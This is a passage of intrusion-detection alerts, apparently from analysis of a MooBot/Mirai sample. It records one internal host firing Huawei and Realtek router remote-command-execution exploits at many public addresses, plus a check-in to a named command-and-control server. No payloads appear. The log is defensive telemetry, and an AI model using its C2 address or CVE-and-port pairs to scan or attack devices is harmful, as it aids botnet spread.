Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 168.69.38.135

Timestamp:	07/20/24-23:01:06.199510
SID:	2027339
Source Port:	51056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 164.8.255.47

Timestamp:	07/20/24-23:01:14.543026
SID:	2831300
Source Port:	33018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.109.81.120

Timestamp:	07/20/24-23:01:22.740155
SID:	2829579
Source Port:	42816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 119.212.55.61

Timestamp:	07/20/24-23:01:08.435254
SID:	2829579
Source Port:	34262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 175.213.105.130

Timestamp:	07/20/24-23:01:17.790236
SID:	2829579
Source Port:	51378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.154.31.142

Timestamp:	07/20/24-23:01:27.226586
SID:	2835222
Source Port:	41492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.167.217.21

Timestamp:	07/20/24-23:01:04.855996
SID:	2835222
Source Port:	38412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.206.209.177

Timestamp:	07/20/24-23:01:02.607205
SID:	2829579
Source Port:	44092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 52.185.40.220

Timestamp:	07/20/24-23:01:14.500759
SID:	2831300
Source Port:	40920
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.63.215

Timestamp:	07/20/24-23:01:36.781603
SID:	2829579
Source Port:	44268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.189.146.222

Timestamp:	07/20/24-23:01:04.870311
SID:	2829579
Source Port:	50726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 80.238.42.16

Timestamp:	07/20/24-23:01:27.352817
SID:	2831300
Source Port:	42974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.37.133.136

Timestamp:	07/20/24-23:01:12.533730
SID:	2829579
Source Port:	56068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 61.168.45.140

Timestamp:	07/20/24-23:01:25.406212
SID:	2829579
Source Port:	38342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 123.81.251.53

Timestamp:	07/20/24-23:01:27.353289
SID:	2831300
Source Port:	40290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.126.248.157

Timestamp:	07/20/24-23:01:06.801053
SID:	2829579
Source Port:	49606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 170.253.218.179

Timestamp:	07/20/24-23:01:02.699257
SID:	2835222
Source Port:	35252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 158.159.28.203

Timestamp:	07/20/24-23:01:14.527949
SID:	2831300
Source Port:	43912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.84.179.49

Timestamp:	07/20/24-23:01:27.277398
SID:	2829579
Source Port:	44480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 126.209.245.77

Timestamp:	07/20/24-23:01:14.516654
SID:	2027339
Source Port:	60086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 171.255.58.196

Timestamp:	07/20/24-23:01:04.848605
SID:	2829579
Source Port:	56222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 186.183.79.214

Timestamp:	07/20/24-23:01:27.359674
SID:	2831300
Source Port:	43126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.147.162.60

Timestamp:	07/20/24-23:01:36.780780
SID:	2835222
Source Port:	58760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 71.240.247.135

Timestamp:	07/20/24-23:01:04.977218
SID:	2027339
Source Port:	60772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 89.83.219.148

Timestamp:	07/20/24-23:01:27.362964
SID:	2027339
Source Port:	59164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.37.83.90

Timestamp:	07/20/24-23:01:04.892375
SID:	2829579
Source Port:	56074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.85.40.21

Timestamp:	07/20/24-23:01:25.391568
SID:	2835222
Source Port:	37654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.12.134.58

Timestamp:	07/20/24-23:01:02.594487
SID:	2829579
Source Port:	47378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.190.82.16

Timestamp:	07/20/24-23:01:08.400738
SID:	2835222
Source Port:	39256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 222.17.83.67

Timestamp:	07/20/24-23:01:15.000002
SID:	2829579
Source Port:	40170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.226.47.52

Timestamp:	07/20/24-23:01:04.572286
SID:	2027339
Source Port:	59000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 60.186.118.133

Timestamp:	07/20/24-23:01:08.459273
SID:	2835222
Source Port:	33184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 83.171.246.211

Timestamp:	07/20/24-23:01:27.363405
SID:	2831300
Source Port:	47474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.111.45.112

Timestamp:	07/20/24-23:01:32.199687
SID:	2835222
Source Port:	37458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 177.130.98.196

Timestamp:	07/20/24-23:01:14.546163
SID:	2027339
Source Port:	59498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.48.188.69

Timestamp:	07/20/24-23:01:27.237697
SID:	2829579
Source Port:	40302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 116.156.175.81

Timestamp:	07/20/24-23:00:59.022603
SID:	2835222
Source Port:	44874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.144.140.73

Timestamp:	07/20/24-23:01:22.746527
SID:	2829579
Source Port:	60772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.76.130.145

Timestamp:	07/20/24-23:01:06.804996
SID:	2835222
Source Port:	40206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 212.236.125.79

Timestamp:	07/20/24-23:01:06.612454
SID:	2025132
Source Port:	46722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.125.89.203

Timestamp:	07/20/24-23:01:02.661070
SID:	2835222
Source Port:	51910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.7.165.251

Timestamp:	07/20/24-23:01:12.553660
SID:	2835222
Source Port:	45418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.251.250.48

Timestamp:	07/20/24-23:01:08.435254
SID:	2829579
Source Port:	41996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.26.238.160

Timestamp:	07/20/24-23:01:04.977218
SID:	2027339
Source Port:	51762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.82.80.76

Timestamp:	07/20/24-23:01:08.435254
SID:	2835222
Source Port:	33870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 221.164.90.189

Timestamp:	07/20/24-23:01:17.779183
SID:	2829579
Source Port:	53404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.13.56.61

Timestamp:	07/20/24-23:01:32.267589
SID:	2835222
Source Port:	40862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 78.145.139.16

Timestamp:	07/20/24-23:01:06.189033
SID:	2025132
Source Port:	60722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.67.215.252

Timestamp:	07/20/24-23:01:36.812730
SID:	2835222
Source Port:	43568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.74.4.205

Timestamp:	07/20/24-23:01:02.594487
SID:	2835222
Source Port:	34794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 170.54.95.252

Timestamp:	07/20/24-23:01:05.440548
SID:	2025132
Source Port:	60468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 219.243.137.80

Timestamp:	07/20/24-23:01:07.271169
SID:	2025132
Source Port:	48956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.187.2.103

Timestamp:	07/20/24-23:00:59.022255
SID:	2829579
Source Port:	57130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.34.181.62

Timestamp:	07/20/24-23:01:14.998084
SID:	2829579
Source Port:	54550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.178.191.248

Timestamp:	07/20/24-23:01:32.202245
SID:	2835222
Source Port:	57942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.102.68.253

Timestamp:	07/20/24-23:01:15.071046
SID:	2835222
Source Port:	56858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.10.30.221

Timestamp:	07/20/24-23:01:06.800492
SID:	2829579
Source Port:	57702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 115.52.50.250

Timestamp:	07/20/24-23:01:14.541501
SID:	2027339
Source Port:	59950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:25.985747
SID:	2030490
Source Port:	34324
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:00:58.677396
SID:	2030490
Source Port:	53098
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 219.121.3.137

Timestamp:	07/20/24-23:01:14.501512
SID:	2831300
Source Port:	42134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.204.216.196

Timestamp:	07/20/24-23:01:27.306441
SID:	2829579
Source Port:	45128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 72.246.92.233

Timestamp:	07/20/24-23:01:07.212184
SID:	2027339
Source Port:	34122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.227.217.207

Timestamp:	07/20/24-23:01:08.392907
SID:	2829579
Source Port:	44836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 177.143.99.241

Timestamp:	07/20/24-23:01:32.244559
SID:	2829579
Source Port:	44882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.103.48.240

Timestamp:	07/20/24-23:01:12.525593
SID:	2835222
Source Port:	60542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.19.188.155

Timestamp:	07/20/24-23:01:22.737206
SID:	2829579
Source Port:	33850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 125.165.157.181

Timestamp:	07/20/24-23:01:14.513211
SID:	2027339
Source Port:	49058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 117.76.117.93

Timestamp:	07/20/24-23:01:14.544463
SID:	2027339
Source Port:	35444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 64.105.126.104

Timestamp:	07/20/24-23:01:32.263122
SID:	2829579
Source Port:	45866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.84.11.202

Timestamp:	07/20/24-23:00:59.023733
SID:	2835222
Source Port:	36856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 115.177.66.51

Timestamp:	07/20/24-23:01:27.229449
SID:	2829579
Source Port:	58000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 19.96.215.60

Timestamp:	07/20/24-23:01:14.539379
SID:	2831300
Source Port:	35368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 63.139.62.111

Timestamp:	07/20/24-23:01:14.530140
SID:	2027339
Source Port:	38082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 161.219.99.46

Timestamp:	07/20/24-23:01:25.404749
SID:	2835222
Source Port:	46290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 49.98.16.76

Timestamp:	07/20/24-23:01:08.435255
SID:	2829579
Source Port:	48960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 132.227.49.42

Timestamp:	07/20/24-23:01:02.613618
SID:	2829579
Source Port:	44020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.216.227.33

Timestamp:	07/20/24-23:01:06.823879
SID:	2829579
Source Port:	58778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.99.41.99

Timestamp:	07/20/24-23:01:06.799605
SID:	2835222
Source Port:	32820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.202.128.225

Timestamp:	07/20/24-23:01:22.737919
SID:	2829579
Source Port:	38954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.194.202.64

Timestamp:	07/20/24-23:01:12.495795
SID:	2829579
Source Port:	35740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 71.163.97.163

Timestamp:	07/20/24-23:01:14.552891
SID:	2831300
Source Port:	53988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 191.252.251.212

Timestamp:	07/20/24-23:01:05.807508
SID:	2025132
Source Port:	49084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.136.94.142

Timestamp:	07/20/24-23:00:59.055059
SID:	2835222
Source Port:	60614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 222.97.13.69

Timestamp:	07/20/24-23:01:05.829182
SID:	2027339
Source Port:	33150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.192.198.218

Timestamp:	07/20/24-23:01:27.286229
SID:	2835222
Source Port:	38486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.244.207.253

Timestamp:	07/20/24-23:01:06.802009
SID:	2829579
Source Port:	35894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.122.113.19

Timestamp:	07/20/24-23:01:04.942037
SID:	2829579
Source Port:	53050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 154.241.18.163

Timestamp:	07/20/24-23:01:14.542240
SID:	2027339
Source Port:	57976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 65.224.243.64

Timestamp:	07/20/24-23:01:14.518211
SID:	2831300
Source Port:	36848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.205.241.233

Timestamp:	07/20/24-23:01:36.796105
SID:	2835222
Source Port:	55762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.2.221.76

Timestamp:	07/20/24-23:01:22.737281
SID:	2829579
Source Port:	60564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.92.22.255

Timestamp:	07/20/24-23:01:36.794115
SID:	2829579
Source Port:	54596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 120.120.202.208

Timestamp:	07/20/24-23:01:04.769875
SID:	2027339
Source Port:	35354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.54.211.159

Timestamp:	07/20/24-23:01:12.502954
SID:	2835222
Source Port:	41610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.190.85

Timestamp:	07/20/24-23:00:59.020039
SID:	2829579
Source Port:	42210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.195.191.119

Timestamp:	07/20/24-23:01:25.397771
SID:	2835222
Source Port:	52390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 67.164.145.87

Timestamp:	07/20/24-23:00:59.020815
SID:	2829579
Source Port:	58342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 112.104.240.153

Timestamp:	07/20/24-23:01:14.500796
SID:	2831300
Source Port:	36558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 86.82.54.225

Timestamp:	07/20/24-23:00:59.023270
SID:	2829579
Source Port:	37234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 136.164.189.225

Timestamp:	07/20/24-23:01:06.162884
SID:	2025132
Source Port:	47210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 165.95.243.107

Timestamp:	07/20/24-23:01:14.536691
SID:	2027339
